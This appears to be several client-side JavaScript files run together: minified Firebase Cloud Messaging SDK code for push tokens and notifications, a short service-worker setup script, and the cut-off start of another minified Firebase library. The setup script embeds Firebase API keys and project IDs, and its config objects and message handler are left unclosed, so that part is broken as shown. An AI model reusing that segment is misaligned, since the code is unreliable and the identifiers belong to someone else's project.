n=s.sent(),r=n.transaction(this.objectStoreName,t),i=r.objectStore(this.objectStoreName),[4,function(e){return new Promise(function(t,n){e.onsuccess=function(){t(e.result)},e.onerror=function(){n(e.error)}})}(e(i))];case 2:return o=s.sent(),[2,new Promise(function(e,t){r.oncomplete=function(){e(o)},r.onerror=function(){t(r.error)}})]}})})},e.prototype.getDb=function(){var e=this;return this.dbPromise||(this.dbPromise=new Promise(function(t,n){var r=indexedDB.open(e.dbName,e.dbVersion);r.onsuccess=function(){t(r.result)},r.onerror=function(){e.dbPromise=null,n(r.error)},r.onupgradeneeded=function(t){return e.onDbUpgrade(r,t)}})),this.dbPromise},e}();var A=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.dbName="fcm_token_details_db",t.dbVersion=3,t.objectStoreName="fcm_token_object_Store",t}return r(t,e),t.prototype.onDbUpgrade=function(e,t){var n=e.result;switch(t.oldVersion){case 0:(r=n.createObjectStore(this.objectStoreName,{keyPath:"swScope"})).createIndex("fcmSenderId","fcmSenderId",{unique:!1}),r.createIndex("fcmToken","fcmToken",{unique:!0});case 1:O();case 2:var r,o=(r=e.transaction.objectStore(this.objectStoreName)).openCursor();o.onsuccess=function(){var e=o.result;if(e){var t=e.value,n=i({},t);t.createTime||(n.createTime=Date.now()),"string"==typeof t.vapidKey&&(n.vapidKey=D(t.vapidKey)),"string"==typeof t.auth&&(n.auth=D(t.auth).buffer),"string"==typeof t.auth&&(n.p256dh=D(t.p256dh).buffer),e.update(n),e.continue()}}}},t.prototype.getTokenDetailsFromToken=function(e){return o(this,void 0,void 0,function(){return s(this,function(t){if(!e)throw g.create(b.BAD_TOKEN);return P({fcmToken:e}),[2,this.getIndex("fcmToken",e)]})})},t.prototype.getTokenDetailsFromSWScope=function(e){return o(this,void 0,void 0,function(){return s(this,function(t){if(!e)throw g.create(b.BAD_SCOPE);return P({swScope:e}),[2,this.get(e)]})})},t.prototype.saveTokenDetails=function(e){return o(this,void 0,void 0,function(){return s(this,function(t){if(!e.swScope)throw g.create(b.BAD_SCOPE);if(!e.vapidKey)throw g.create(b.BAD_VAPID_KEY);if(!e.endpoint||!e.auth||!e.p256dh)throw g.create(b.BAD_SUBSCRIPTION);if(!e.fcmSenderId)throw g.create(b.BAD_SENDER_ID);if(!e.fcmToken)throw g.create(b.BAD_TOKEN);if(!e.fcmPushSet)throw g.create(b.BAD_PUSH_SET);return P(e),[2,this.put(e)]})})},t.prototype.deleteToken=function(e){return o(this,void 0,void 0,function(){var t;return s(this,function(n){switch(n.label){case 0:return"string"!=typeof e||0===e.length?[2,Promise.reject(g.create(b.INVALID_DELETE_TOKEN))]:[4,this.getTokenDetailsFromToken(e)];case 1:if(!(t=n.sent()))throw g.create(b.DELETE_TOKEN_NOT_FOUND);return[4,this.delete(t.swScope)];case 2:return n.sent(),[2,t]}})})},t}(k);function P(e){if(e.fcmToken&&("string"!=typeof e.fcmToken||0===e.fcmToken.length))throw g.create(b.BAD_TOKEN);if(e.swScope&&("string"!=typeof e.swScope||0===e.swScope.length))throw g.create(b.BAD_SCOPE);if(e.vapidKey&&(!(e.vapidKey instanceof Uint8Array)||65!==e.vapidKey.length))throw g.create(b.BAD_VAPID_KEY);if(e.endpoint&&("string"!=typeof e.endpoint||0===e.endpoint.length))throw g.create(b.BAD_SUBSCRIPTION);if(e.auth&&!(e.auth instanceof ArrayBuffer))throw g.create(b.BAD_SUBSCRIPTION);if(e.p256dh&&!(e.p256dh instanceof ArrayBuffer))throw g.create(b.BAD_SUBSCRIPTION);if(e.fcmSenderId&&("string"!=typeof e.fcmSenderId||0===e.fcmSenderId.length))throw g.create(b.BAD_SENDER_ID);if(e.fcmPushSet&&("string"!=typeof e.fcmPushSet||0===e.fcmPushSet.length))throw g.create(b.BAD_PUSH_SET)}var C=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.dbName="fcm_vapid_details_db",t.dbVersion=1,t.objectStoreName="fcm_vapid_object_Store",t}return r(t,e),t.prototype.onDbUpgrade=function(e){e.result.createObjectStore(this.objectStoreName,{keyPath:"swScope"})},t.prototype.getVapidFromSWScope=function(e){return o(this,void 0,void 0,function(){var t;return s(this,function(n){switch(n.label){case 0:if("string"!=typeof e||0===e.length)throw g.create(b.BAD_SCOPE);return[4,this.get(e)];case 1:return[2,(t=n.sent())?t.vapidKey:void 0]}})})},t.prototype.saveVapidDetails=function(e,t){return o(this,void 0,void 0,function(){var n;return s(this,function(r){if("string"!=typeof e||0===e.length)throw g.create(b.BAD_SCOPE);if(null===t||65!==t.length)throw g.create(b.BAD_VAPID_KEY);return n={swScope:e,vapidKey:t},[2,this.put(n)]})})},t.prototype.deleteVapidDetails=function(e){return o(this,void 0,void 0,function(){var t;return s(this,function(n){switch(n.label){case 0:return[4,this.getVapidFromSWScope(e)];case 1:if(!(t=n.sent()))throw g.create(b.DELETE_SCOPE_NOT_FOUND);return[4,this.delete(e)];case 2:return n.sent(),[2,t]}})})},t}(k),B="messagingSenderId",R=function(){function e(e){var t=this;if(!e.options[B]||"string"!=typeof e.options[B])throw g.create(b.BAD_SENDER_ID);this.messagingSenderId=e.options[B],this.tokenDetailsModel=new A,this.vapidDetailsModel=new C,this.iidModel=new I,this.app=e,this.INTERNAL={delete:function(){return t.delete()}}}return e.prototype.getToken=function(){return o(this,void 0,void 0,function(){var e,t,n,r,i;return s(this,function(o){switch(o.label){case 0:if("denied"===(e=this.getNotificationPermission_()))throw g.create(b.NOTIFICATIONS_BLOCKED);return"granted"!==e?[2,null]:[4,this.getSWRegistration_()];case 1:return t=o.sent(),[4,this.getPublicVapidKey_()];case 2:return n=o.sent(),[4,this.getPushSubscription(t,n)];case 3:return r=o.sent(),[4,this.tokenDetailsModel.getTokenDetailsFromSWScope(t.scope)];case 4:return(i=o.sent())?[2,this.manageExistingToken(t,r,n,i)]:[2,this.getNewToken(t,r,n)]}})})},e.prototype.manageExistingToken=function(e,t,n,r){return o(this,void 0,void 0,function(){return s(this,function(i){switch(i.label){case 0:return function(e,t,n){if(!n.vapidKey||!y(t.buffer,n.vapidKey.buffer))return!1;var r=e.endpoint===n.endpoint,i=y(e.getKey("auth"),n.auth),o=y(e.getKey("p256dh"),n.p256dh);return r&&i&&o}(t,n,r)?Date.now()<r.createTime+6048e5?[2,r.fcmToken]:[2,this.updateToken(e,t,n,r)]:[4,this.deleteTokenFromDB(r.fcmToken)];case 1:return i.sent(),[2,this.getNewToken(e,t,n)]}})})},e.prototype.updateToken=function(e,t,n,r){return o(this,void 0,void 0,function(){var i,o,a;return s(this,function(s){switch(s.label){case 0:return s.trys.push([0,4,,6]),[4,this.iidModel.updateToken(this.messagingSenderId,r.fcmToken,r.fcmPushSet,t,n)];case 1:return i=s.sent(),o={swScope:e.scope,vapidKey:n,fcmSenderId:this.messagingSenderId,fcmToken:i,fcmPushSet:r.fcmPushSet,createTime:Date.now(),endpoint:t.endpoint,auth:t.getKey("auth"),p256dh:t.getKey("p256dh")},[4,this.tokenDetailsModel.saveTokenDetails(o)];case 2:return s.sent(),[4,this.vapidDetailsModel.saveVapidDetails(e.scope,n)];case 3:return s.sent(),[2,i];case 4:return a=s.sent(),[4,this.deleteToken(r.fcmToken)];case 5:throw s.sent(),a;case 6:return[2]}})})},e.prototype.getNewToken=function(e,t,n){return o(this,void 0,void 0,function(){var r,i;return s(this,function(o){switch(o.label){case 0:return[4,this.iidModel.getToken(this.messagingSenderId,t,n)];case 1:return r=o.sent(),i={swScope:e.scope,vapidKey:n,fcmSenderId:this.messagingSenderId,fcmToken:r.token,fcmPushSet:r.pushSet,createTime:Date.now(),endpoint:t.endpoint,auth:t.getKey("auth"),p256dh:t.getKey("p256dh")},[4,this.tokenDetailsModel.saveTokenDetails(i)];case 2:return o.sent(),[4,this.vapidDetailsModel.saveVapidDetails(e.scope,n)];case 3:return o.sent(),[2,r.token]}})})},e.prototype.deleteToken=function(e){return o(this,void 0,void 0,function(){var t,n;return s(this,function(r){switch(r.label){case 0:return[4,this.deleteTokenFromDB(e)];case 1:return r.sent(),[4,this.getSWRegistration_()];case 2:return(t=r.sent())?[4,t.pushManager.getSubscription()]:[3,4];case 3:if(n=r.sent())return[2,n.unsubscribe()];r.label=4;case 4:return[2,!0]}})})},e.prototype.deleteTokenFromDB=function(e){return o(this,void 0,void 0,function(){var t;return s(this,function(n){switch(n.label){case 0:return[4,this.tokenDetailsModel.deleteToken(e)];case 1:return t=n.sent(),[4,this.iidModel.deleteToken(t.fcmSenderId,t.fcmToken,t.fcmPushSet)];case 2:return n.sent(),[2]}})})},e.prototype.getPushSubscription=function(e,t){return e.pushManager.getSubscription().then(function(n){return n||e.pushManager.subscribe({userVisibleOnly:!0,applicationServerKey:t})})},e.prototype.requestPermission=function(){throw g.create(b.AVAILABLE_IN_WINDOW)},e.prototype.useServiceWorker=function(e){throw g.create(b.AVAILABLE_IN_WINDOW)},e.prototype.usePublicVapidKey=function(e){throw g.create(b.AVAILABLE_IN_WINDOW)},e.prototype.onMessage=function(e,t,n){throw g.create(b.AVAILABLE_IN_WINDOW)},e.prototype.onTokenRefresh=function(e,t,n){throw g.create(b.AVAILABLE_IN_WINDOW)},e.prototype.setBackgroundMessageHandler=function(e){throw g.create(b.AVAILABLE_IN_SW)},e.prototype.delete=function(){return o(this,void 0,void 0,function(){return s(this,function(e){switch(e.label){case 0:return[4,Promise.all([this.tokenDetailsModel.closeDatabase(),this.vapidDetailsModel.closeDatabase()])];case 1:return e.sent(),[2]}})})},e.prototype.getNotificationPermission_=function(){return Notification.permission},e.prototype.getTokenDetailsModel=function(){return this.tokenDetailsModel},e.prototype.getVapidDetailsModel=function(){return this.vapidDetailsModel},e.prototype.getIidModel=function(){return this.iidModel},e}();var U=function(e){function t(t){var n=e.call(this,t)||this;return n.bgMessageHandler=null,self.addEventListener("push",function(e){n.onPush(e)}),self.addEventListener("pushsubscriptionchange",function(e){n.onSubChange(e)}),self.addEventListener("notificationclick",function(e){n.onNotificationClick(e)}),n}return r(t,e),t.prototype.onPush=function(e){e.waitUntil(this.onPush_(e))},t.prototype.onSubChange=function(e){e.waitUntil(this.onSubChange_(e))},t.prototype.onNotificationClick=function(e){e.waitUntil(this.onNotificationClick_(e))},t.prototype.onPush_=function(e){return o(this,void 0,void 0,function(){var t,n,r,i,o,a;return s(this,function(s){switch(s.label){case 0:if(!e.data)return[2];try{t=e.data.json()}catch(e){return[2]}return[4,this.hasVisibleClients_()];case 1:return s.sent()?[2,this.sendMessageToWindowClients_(t)]:(n=this.getNotificationData_(t))?(r=n.title||"",[4,this.getSWRegistration_()]):[3,3];case 2:return i=s.sent(),o=n.actions,a=Notification.maxActions,o&&a&&o.length>a&&console.warn("This browser only supports "+a+" actions.The remaining actions will not be displayed."),[2,i.showNotification(r,n)];case 3:return this.bgMessageHandler?[4,this.bgMessageHandler(t)]:[3,5];case 4:return s.sent(),[2];case 5:return[2]}})})},t.prototype.onSubChange_=function(e){return o(this,void 0,void 0,function(){var e,t,n,r;return s(this,function(i){switch(i.label){case 0:return i.trys.push([0,2,,3]),[4,this.getSWRegistration_()];case 1:return e=i.sent(),[3,3];case 2:throw t=i.sent(),g.create(b.UNABLE_TO_RESUBSCRIBE,{message:t});case 3:return i.trys.push([3,5,,8]),[4,e.pushManager.getSubscription()];case 4:return i.sent(),[3,8];case 5:return n=i.sent(),[4,this.getTokenDetailsModel().getTokenDetailsFromSWScope(e.scope)];case 6:if(!(r=i.sent()))throw n;return[4,this.deleteToken(r.fcmToken)];case 7:throw i.sent(),n;case 8:return[2]}})})},t.prototype.onNotificationClick_=function(e){return o(this,void 0,void 0,function(){var t,n,r,i;return s(this,function(o){switch(o.label){case 0:return e.notification&&e.notification.data&&e.notification.data.FCM_MSG?e.action?[2]:(e.stopImmediatePropagation(),e.notification.close(),(t=e.notification.data.FCM_MSG).notification&&(n=t.fcmOptions&&t.fcmOptions.link||t.notification.click_action)?[4,this.getWindowClient_(n)]:[2]):[2];case 1:return(r=o.sent())?[3,3]:[4,self.clients.openWindow(n)];case 2:return r=o.sent(),[3,5];case 3:return[4,r.focus()];case 4:r=o.sent(),o.label=5;case 5:return r?(delete t.notification,delete t.fcmOptions,i=K(E.NOTIFICATION_CLICKED,t),[2,this.attemptToMessageClient_(r,i)]):[2]}})})},t.prototype.getNotificationData_=function(e){if(e&&"object"==typeof e.notification){var t,n=i({},e.notification);return n.data=i({},e.notification.data,((t={}).FCM_MSG=e,t)),n}},t.prototype.setBackgroundMessageHandler=function(e){if(!e||"function"!=typeof e)throw g.create(b.BG_HANDLER_FUNCTION_EXPECTED);this.bgMessageHandler=e},t.prototype.getWindowClient_=function(e){return o(this,void 0,void 0,function(){var t,n,r,i;return s(this,function(o){switch(o.label){case 0:return t=new URL(e,self.location.href).href,[4,L()];case 1:for(n=o.sent(),r=null,i=0;i<n.length;i++)if(new URL(n[i].url,self.location.href).href===t){r=n[i];break}return[2,r]}})})},t.prototype.attemptToMessageClient_=function(e,t){return o(this,void 0,void 0,function(){return s(this,function(n){if(!e)throw g.create(b.NO_WINDOW_CLIENT_TO_MSG);return e.postMessage(t),[2]})})},t.prototype.hasVisibleClients_=function(){return o(this,void 0,void 0,function(){return s(this,function(e){switch(e.label){case 0:return[4,L()];case 1:return[2,e.sent().some(function(e){return"visible"===e.visibilityState})]}})})},t.prototype.sendMessageToWindowClients_=function(e){return o(this,void 0,void 0,function(){var t,n,r=this;return s(this,function(i){switch(i.label){case 0:return[4,L()];case 1:return t=i.sent(),n=K(E.PUSH_MSG_RECEIVED,e),[4,Promise.all(t.map(function(e){return r.attemptToMessageClient_(e,n)}))];case 2:return i.sent(),[2]}})})},t.prototype.getSWRegistration_=function(){return o(this,void 0,void 0,function(){return s(this,function(e){return[2,self.registration]})})},t.prototype.getPublicVapidKey_=function(){return o(this,void 0,void 0,function(){var e,t;return s(this,function(n){switch(n.label){case 0:return[4,this.getSWRegistration_()];case 1:if(!(e=n.sent()))throw g.create(b.SW_REGISTRATION_EXPECTED);return[4,this.getVapidDetailsModel().getVapidFromSWScope(e.scope)];case 2:return null==(t=n.sent())?[2,T]:[2,t]}})})},t}(R);function L(){return self.clients.matchAll({type:"window",includeUncontrolled:!0})}function K(e,t){return(n={})[_.TYPE_OF_MSG]=e,n[_.DATA]=t,n;var n}var M,F=function(e){function t(t){var n=e.call(this,t)||this;return n.registrationToUse=null,n.publicVapidKeyToUse=null,n.manifestCheckPromise=null,n.messageObserver=null,n.tokenRefreshObserver=null,n.onMessageInternal=f(function(e){n.messageObserver=e}),n.onTokenRefreshInternal=f(function(e){n.tokenRefreshObserver=e}),n.setupSWMessageListener_(),n}return r(t,e),t.prototype.getToken=function(){return o(this,void 0,void 0,function(){return s(this,function(t){switch(t.label){case 0:return this.manifestCheckPromise||(this.manifestCheckPromise=function(){return o(this,void 0,void 0,function(){var e,t;return s(this,function(n){switch(n.label){case 0:if(!(e=document.querySelector('link[rel="manifest"]')))return[2];n.label=1;case 1:return n.trys.push([1,4,,5]),[4,fetch(e.href)];case 2:return[4,n.sent().json()];case 3:return t=n.sent(),[3,5];case 4:return n.sent(),[2];case 5:if(!t||!t.gcm_sender_id)return[2];if("103953800507"!==t.gcm_sender_id)throw g.create(b.INCORRECT_GCM_SENDER_ID);return[2]}})})}()),[4,this.manifestCheckPromise];case 1:return t.sent(),[2,e.prototype.getToken.call(this)]}})})},t.prototype.requestPermission=function(){return o(this,void 0,void 0,function(){var e;return s(this,function(t){switch(t.label){case 0:return"granted"===this.getNotificationPermission_()?[2]:[4,Notification.requestPermission()];case 1:if("granted"===(e=t.sent()))return[2];throw"denied"===e?g.create(b.PERMISSION_BLOCKED):g.create(b.PERMISSION_DEFAULT)}})})},t.prototype.useServiceWorker=function(e){if(!(e instanceof ServiceWorkerRegistration))throw g.create(b.SW_REGISTRATION_EXPECTED);if(null!=this.registrationToUse)throw g.create(b.USE_SW_BEFORE_GET_TOKEN);this.registrationToUse=e},t.prototype.usePublicVapidKey=function(e){if("string"!=typeof e)throw g.create(b.INVALID_PUBLIC_VAPID_KEY);if(null!=this.publicVapidKeyToUse)throw g.create(b.USE_PUBLIC_KEY_BEFORE_GET_TOKEN);var t=D(e);if(65!==t.length)throw g.create(b.PUBLIC_KEY_DECRYPTION_FAILED);this.publicVapidKeyToUse=t},t.prototype.onMessage=function(e,t,n){return"function"==typeof e?this.onMessageInternal(e,t,n):this.onMessageInternal(e)},t.prototype.onTokenRefresh=function(e,t,n){return"function"==typeof e?this.onTokenRefreshInternal(e,t,n):this.onTokenRefreshInternal(e)},t.prototype.waitForRegistrationToActivate_=function(e){var t=e.installing||e.waiting||e.active;return new Promise(function(n,r){if(t)if("activated"!==t.state)if("redundant"!==t.state){var i=function(){if("activated"===t.state)n(e);else{if("redundant"!==t.state)return;r(g.create(b.SW_REG_REDUNDANT))}t.removeEventListener("statechange",i)};t.addEventListener("statechange",i)}else r(g.create(b.SW_REG_REDUNDANT));else n(e);else r(g.create(b.NO_SW_IN_REG))})},t.prototype.getSWRegistration_=function(){var e=this;return this.registrationToUse?this.waitForRegistrationToActivate_(this.registrationToUse):(this.registrationToUse=null,navigator.serviceWorker.register("/firebase-messaging-sw.js",{scope:"/firebase-cloud-messaging-push-scope"}).catch(function(e){throw g.create(b.FAILED_DEFAULT_REGISTRATION,{browserErrorMessage:e.message})}).then(function(t){return e.waitForRegistrationToActivate_(t).then(function(){return e.registrationToUse=t,t.update(),t})}))},t.prototype.getPublicVapidKey_=function(){return o(this,void 0,void 0,function(){return s(this,function(e){return this.publicVapidKeyToUse?[2,this.publicVapidKeyToUse]:[2,T]})})},t.prototype.setupSWMessageListener_=function(){var e=this;navigator.serviceWorker.addEventListener("message",function(t){if(t.data&&t.data[_.TYPE_OF_MSG]){var n=t.data;switch(n[_.TYPE_OF_MSG]){case E.PUSH_MSG_RECEIVED:case E.NOTIFICATION_CLICKED:var r=n[_.DATA];e.messageObserver&&e.messageObserver.next(r)}}},!1)},t}(R);function W(){return self&&"ServiceWorkerGlobalScope"in self?"PushManager"in self&&"Notification"in self&&ServiceWorkerRegistration.prototype.hasOwnProperty("showNotification")&&PushSubscription.prototype.hasOwnProperty("getKey"):navigator.cookieEnabled&&"serviceWorker"in navigator&&"PushManager"in window&&"Notification"in window&&"fetch"in window&&ServiceWorkerRegistration.prototype.hasOwnProperty("showNotification")&&PushSubscription.prototype.hasOwnProperty("getKey")}M={isSupported:W},t.INTERNAL.registerService("messaging",function(e){if(!W())throw g.create(b.UNSUPPORTED_BROWSER);return self&&"ServiceWorkerGlobalScope"in self?new U(e):new F(e)},M)}(this.firebase=this.firebase||{},firebase)}catch(e){throw console.error(e),new Error("Cannot instantiate firebase-messaging - be sure to load firebase-app.js first.")}
//# sourceMappingURL=firebase-messaging.js.map
importScripts('https://www.gstatic.com/firebasejs/5.5.3/firebase-app.js');
importScripts('https://www.gstatic.com/firebasejs/5.5.3/firebase-messaging.js');
// Initialize Firebase
// var config = {
//     apiKey: "AIzaSyA9aqEZjZ25dmXjb_jepaNn2IPx63LrImc",
//     authDomain: "main-7a69e.firebaseapp.com",
//     databaseURL: "https://main-7a69e.firebaseio.com",
//     projectId: "main-7a69e",
//     storageBucket: "",
//     messagingSenderId: "798583087835"
var config = {
    apiKey: "AIzaSyB4AL5UKzRYY-eV8tzL67xFMhsw9QHmPnI",
    authDomain: "main-project-9dff8.firebaseapp.com",
    databaseURL: "https://main-project-9dff8.firebaseio.com",
    projectId: "main-project-9dff8",
    storageBucket: "main-project-9dff8.appspot.com",
    messagingSenderId: "785098795875"
firebase.initializeApp(config);
var messaging = firebase.messaging();
messaging.setBackgroundMessageHandler(function (payload) {
    console.log('Handling background message ', payload);
try{!function(t,e){"use strict";var n;e=e&&e.hasOwnProperty("default")?e.default:e,function(t){t[t.DEBUG=0]="DEBUG",t[t.VERBOSE=1]="VERBOSE",t[t.INFO=2]="INFO",t[t.WARN=3]="WARN",t[t.ERROR=4]="ERROR",t[t.SILENT=5]="SILENT"}(n||(n={}));var r=n.INFO,i=function(t,e){for(var r=[],i=2;i<arguments.length;i++)r[i-2]=arguments[i];if(!(e<t.logLevel)){var o=(new Date).toISOString();switch(e){case n.DEBUG:case n.VERBOSE:console.log.apply(console,["["+o+"]  "+t.name+":"].concat(r));break;case n.INFO:console.info.apply(console,["["+o+"]  "+t.name+":"].concat(r));break;case n.WARN:console.warn.apply(console,["["+o+"]  "+t.name+":"].concat(r));break;case n.ERROR:console.error.apply(console,["["+o+"]  "+t.name+":"].concat(r));break;default:throw new Error("Attempted to log a message with an invalid logType (value: "+e+")")}}},o=function(){function t(t){this.name=t,this._logLevel=r,this._logHandler=i}return Object.defineProperty(t.prototype,"logLevel",{get:function(){return this._logLevel},set:function(t){if(!(t in n))throw new TypeError("Invalid value assigned to `logLevel`");this._logLevel=t},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"logHandler",{get:function(){return this._logHandler},set:function(t){if("function"!=typeof t)throw new TypeError("Value assigned to `logHandler` must be a function");this._logHandler=t},enumerable:!0,configurable:!0}),t.prototype.debug=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this._logHandler.apply(this,[this,n.DEBUG].concat(t))},t.prototype.log=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this._logHandler.apply(this,[this,n.VERBOSE].concat(t))},t.prototype.info=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this._logHandler.apply(this,[this,n.INFO].concat(t))},t.prototype.warn=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this._logHandler.apply(this,[this,n.WARN].concat(t))},t.prototype.error=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this._logHandler.apply(this,[this,n.ERROR].concat(t))},t}(),s=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};function a(t,e){function n(){this.constructor=t}s(t,e),t.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}function u(t,e,n,r){return new(n||(n=Promise))(function(i,o){function s(t){try{u(r.next(t))}catch(t){o(t)}}function a(t){try{u(r.throw(t))}catch(t){o(t)}}function u(t){t.done?i(t.value):new n(function(e){e(t.value)}).then(s,a)}u((r=r.apply(t,e||[])).next())})}function c(t,e){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(o){return function(a){return function(o){if(n)throw new TypeError("Generator is already executing.");for(;s;)try{if(n=1,r&&(i=r[2&o[0]?"return":o[0]?"throw":"next"])&&!(i=i.call(r,o[1])).done)return i;switch(r=0,i&&(o=[0,i.value]),o[0]){case 0:case 1:i=o;break;case 4:return s.label++,{value:o[1],done:!1};case 5:s.label++,r=o[1],o=[0];continue;case 7:o=s.ops.pop(),s.trys.pop();continue;default:if(!(i=(i=s.trys).length>0&&i[i.length-1])&&(6===o[0]||2===o[0])){s=0;continue}if(3===o[0]&&(!i||o[1]>i[0]&&o[1]<i[3])){s.label=o[1];break}if(6===o[0]&&s.label<i[1]){s.label=i[1],i=o;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(o);break}i[2]&&s.ops.pop(),s.trys.pop();continue}o=e.call(t,s)}catch(t){o=[6,t],r=0}finally{n=i=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}([o,a])}}}var h,l="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},f=f||{},d=l;function p(t){return"string"==typeof t}function m(t,e){t=t.split("."),e=e||d;for(var n=0;n<t.length;n++)if(null==(e=e[t[n]]))return null;return e}function y(){}function g(t){var e=typeof t;if("object"==e){if(!t)return"null";if(t instanceof Array)return"array";if(t instanceof Object)return e;var n=Object.prototype.toString.call(t);if("[object Window]"==n)return"object";if("[object Array]"==n||"number"==typeof t.length&&void 0!==t.splice&&void 0!==t.propertyIsEnumerable&&!t.propertyIsEnumerable("splice"))return"array";if("[object Function]"==n||void 0!==t.call&&void 0!==t.propertyIsEnumerable&&!t.propertyIsEnumerable("call"))return"function"}else if("function"==e&&void 0===t.call)return"object";return e}function v(t){return"array"==g(t)}function b(t){var e=g(t);return"array"==e||"object"==e&&"number"==typeof t.length}function w(t){return"function"==g(t)}function T(t){var e=typeof t;return"object"==e&&null!=t||"function"==e}var S="closure_uid_"+(1e9*Math.random()>>>0),E=0;function I(t,e,n){return t.call.apply(t.bind,arguments)}function C(t,e,n){if(!t)throw Error();if(2<arguments.length){var r=Array.prototype.slice.call(arguments,2);return function(){var n=Array.prototype.slice.call(arguments);return Array.prototype.unshift.apply(n,r),t.apply(e,n)}}return function(){return t.apply(e,arguments)}}function D(t,e,n){return(D=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?I:C).apply(null,arguments)}function N(t,e){var n=Array.prototype.slice.call(arguments,1);return function(){var e=n.slice();return e.push.apply(e,arguments),t.apply(this,e)}}var A=Date.now||function(){return+new Date};function k(t,e){function n(){}n.prototype=e.prototype,t.L=e.prototype,t.prototype=new n,t.prototype.constructor=t,t.mh=function(t,n,r){for(var i=Array(arguments.length-2),o=2;o<arguments.length;o++)i[o-2]=arguments[o];return e.prototype[n].apply(t,i)}}function R(t){if(Error.captureStackTrace)Error.captureStackTrace(this,R);else{var e=Error().stack;e&&(this.stack=e)}t&&(this.message=String(t))}function M(t,e){for(var n="",r=(t=t.split("%s")).length-1,i=0;i<r;i++)n+=t[i]+(i<e.length?e[i]:"%s");R.call(this,n+t[r])}function O(){0!=P&&(_[this[S]||(this[S]=++E)]=this),this.Ka=this.Ka,this.Qa=this.Qa}k(R,Error),R.prototype.name="CustomError",k(M,R),M.prototype.name="AssertionError";var P=0,_={};O.prototype.Ka=!1,O.prototype.bb=function(){if(!this.Ka&&(this.Ka=!0,this.F(),0!=P)){var t=this[S]||(this[S]=++E);if(0!=P&&this.Qa&&0<this.Qa.length)throw Error(this+" did not empty its onDisposeCallbacks queue. This probably means it overrode dispose() or disposeInternal() without calling the superclass' method.");delete _[t]}},O.prototype.F=function(){if(this.Qa)for(;this.Qa.length;)this.Qa.shift()()};var L=Array.prototype.indexOf?function(t,e){return Array.prototype.indexOf.call(t,e,void 0)}:function(t,e){if(p(t))return p(e)&&1==e.length?t.indexOf(e,0):-1;for(var n=0;n<t.length;n++)if(n in t&&t[n]===e)return n;return-1},x=Array.prototype.lastIndexOf?function(t,e){return Array.prototype.lastIndexOf.call(t,e,t.length-1)}:function(t,e){var n=t.length-1;if(0>n&&(n=Math.max(0,t.length+n)),p(t))return p(e)&&1==e.length?t.lastIndexOf(e,n):-1;for(;0<=n;n--)if(n in t&&t[n]===e)return n;return-1},q=Array.prototype.forEach?function(t,e,n){Array.prototype.forEach.call(t,e,n)}:function(t,e,n){for(var r=t.length,i=p(t)?t.split(""):t,o=0;o<r;o++)o in i&&e.call(n,i[o],o,t)},F=Array.prototype.some?function(t,e){return Array.prototype.some.call(t,e,void 0)}:function(t,e){for(var n=t.length,r=p(t)?t.split(""):t,i=0;i<n;i++)if(i in r&&e.call(void 0,r[i],i,t))return!0;return!1};function V(t){if(!v(t))for(var e=t.length-1;0<=e;e--)delete t[e];t.length=0}function B(t,e){var n;return(n=0<=(e=L(t,e)))&&Array.prototype.splice.call(t,e,1),n}function U(t){return Array.prototype.concat.apply([],arguments)}function Q(t){var e=t.length;if(0<e){for(var n=Array(e),r=0;r<e;r++)n[r]=t[r];return n}return[]}function K(t){return/^[\s\xa0]*$/.test(t)}var W,j=String.prototype.trim?function(t){return t.trim()}:function(t){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(t)[1]};function G(t,e){return t<e?-1:t>e?1:0}t:{var z=d.navigator;if(z){var H=z.userAgent;if(H){W=H;break t}}W=""}function X(t){return-1!=W.indexOf(t)}function Y(t,e,n){for(var r in t)e.call(n,t[r],r,t)}function J(t){var e,n=[],r=0;for(e in t)n[r++]=t[e];return n}function $(t){var e,n=[],r=0;for(e in t)n[r++]=e;return n}function Z(t){var e,n={};for(e in t)n[e]=t[e];return n}var tt="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");function et(t,e){for(var n,r,i=1;i<arguments.length;i++){for(n in r=arguments[i])t[n]=r[n];for(var o=0;o<tt.length;o++)n=tt[o],Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}}function nt(t){return nt[" "](t),t}nt[" "]=y;var rt,it,ot=X("Opera"),st=X("Trident")||X("MSIE"),at=X("Edge"),ut=at||st,ct=X("Gecko")&&!(-1!=W.toLowerCase().indexOf("webkit")&&!X("Edge"))&&!(X("Trident")||X("MSIE"))&&!X("Edge"),ht=-1!=W.toLowerCase().indexOf("webkit")&&!X("Edge");function lt(){var t=d.document;return t?t.documentMode:void 0}t:{var ft="",dt=(it=W,ct?/rv:([^\);]+)(\)|;)/.exec(it):at?/Edge\/([\d\.]+)/.exec(it):st?/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(it):ht?/WebKit\/(\S+)/.exec(it):ot?/(?:Version)[ \/]?(\S+)/.exec(it):void 0);if(dt&&(ft=dt?dt[1]:""),st){var pt=lt();if(null!=pt&&pt>parseFloat(ft)){rt=String(pt);break t}}rt=ft}var mt,yt={};function gt(t){return function(t,e){var n=yt;return Object.prototype.hasOwnProperty.call(n,t)?n[t]:n[t]=e(t)}(t,function(){for(var e=0,n=j(String(rt)).split("."),r=j(String(t)).split("."),i=Math.max(n.length,r.length),o=0;0==e&&o<i;o++){var 